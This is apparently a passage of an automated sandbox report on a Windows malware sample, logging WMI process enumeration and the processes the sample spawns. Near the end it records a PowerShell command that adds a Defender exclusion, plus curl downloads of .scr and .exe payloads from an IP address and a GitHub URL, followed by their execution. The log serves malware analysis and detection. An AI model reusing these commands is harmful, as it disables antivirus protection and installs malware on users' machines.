                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2096
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6404
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4248
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4672
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6168
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 356
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4664
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5172
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1212
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 780
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 328
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1636
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 772
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5512
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6804
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1200
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4216
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3784
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2052
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6896
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1188
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7756
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6116
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 748
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1608
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5648
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2892
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3752
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2524
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4920
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6752
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2440
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6904
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6316
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2004
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5448
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 704
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2424
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1992
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8024
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2416
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1976
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6988
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3696
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6276
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2536
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 912
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1096
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5836
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5404
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4972
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1952
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1520
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4492
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5396
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6688
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 976
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1080
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7112
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6680
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7104
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6672
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1064
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 632
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5200
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6232
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 624
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6656
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2936
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7080
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1044
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1904
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6644
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4056
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6080
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5440
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1312
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7060
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2316
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4036
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7396
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6472
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2708
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2736
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4028
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3596
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4456
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5748
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1868
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1436
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7476
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3588
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 568
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1428
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4444
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4360
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1852
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 556
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7020
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4432
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5724
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2948
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4512
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5544
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4044
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3556
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1400
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2692
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7000
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1396
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1388
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2248
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 92
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1384
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3536
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6552
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 516
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1376
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2668
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5684
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1804
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5680
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3524
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4832
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2656
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5672
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6964
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 496
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6528
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2216
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3076
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 488
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3500
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1344
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2636
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5652
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3496
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1340
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3924
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1752
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6504
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6072
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1760
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 932
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3476
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2612
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6488
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1872
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3036
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5620
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3592
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4756
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1736
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2596
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3456
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4844
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 864
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 0
                    Source: C:\Users\gbcd\fff.scrWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                    Source: C:\Users\gbcd\qqq.scrFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: ZOL2mIYAUH.exeReversingLabs: Detection: 65%
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeFile read: C:\Users\user\Desktop\ZOL2mIYAUH.exeJump to behavior
                    Source: unknownProcess created: C:\Users\user\Desktop\ZOL2mIYAUH.exe "C:\Users\user\Desktop\ZOL2mIYAUH.exe"
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c mkdir C:\Users\gbcd
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/abc -o C:\Users\gbcd\fff.scr
                    Source: C:\Windows\SysWOW64\curl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/dddv -o C:\Users\gbcd\qqq.scr
                    Source: C:\Windows\SysWOW64\curl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s http://79.110.49.246/didedba/write -o C:\Users\gbcd\ddd.scr
                    Source: C:\Windows\SysWOW64\curl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Windows\SysWOW64\curl.exe "curl.exe" -s https://raw.githubusercontent.com/huuuuggga/aaaaa1/refs/heads/main/srtware.exe -o C:\Users\gbcd\srtware.exe
                    Source: C:\Windows\SysWOW64\curl.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Users\gbcd\fff.scr "C:\Users\gbcd\fff.scr"
                    Source: C:\Users\user\Desktop\ZOL2mIYAUH.exeProcess created: C:\Users\gbcd\qqq.scr "C:\Users\gbcd\qqq.scr"
